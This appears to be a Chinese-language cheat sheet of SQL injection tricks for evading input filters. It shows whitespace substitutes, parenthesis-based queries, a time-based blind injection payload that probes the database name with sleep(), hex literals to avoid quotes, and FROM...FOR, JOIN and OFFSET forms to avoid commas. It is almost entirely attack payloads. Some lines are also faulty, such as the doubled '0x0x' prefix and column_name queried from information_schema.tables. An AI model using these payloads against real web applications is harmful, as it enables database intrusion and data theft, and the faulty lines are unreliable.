繞過空格
/**/ ,/!/ #註釋符
%20 %09 %0a %0b %0c %0d %a0 %00
雙空格,tab代替空格
- 利用括號:
select(user())from dual where(1=1)and(2=2)
id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
引號繞過
select column_name from information_schema.tables where table_name=“users”
#此事引號被過濾的話,可以用users的十六進制0x0x7573657273,就不需要引號了。
逗號繞過
substr(), mid(), limit,都需要逗號。
其中,substr(), mid() 可以用from…for繞過:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2 #等價於
union select * from (select 1)a join (select 2)b
limit使用offset繞過
select * from news limit 0,1
#等價於下面這條SQL語句
select * from news limit 1 offset 0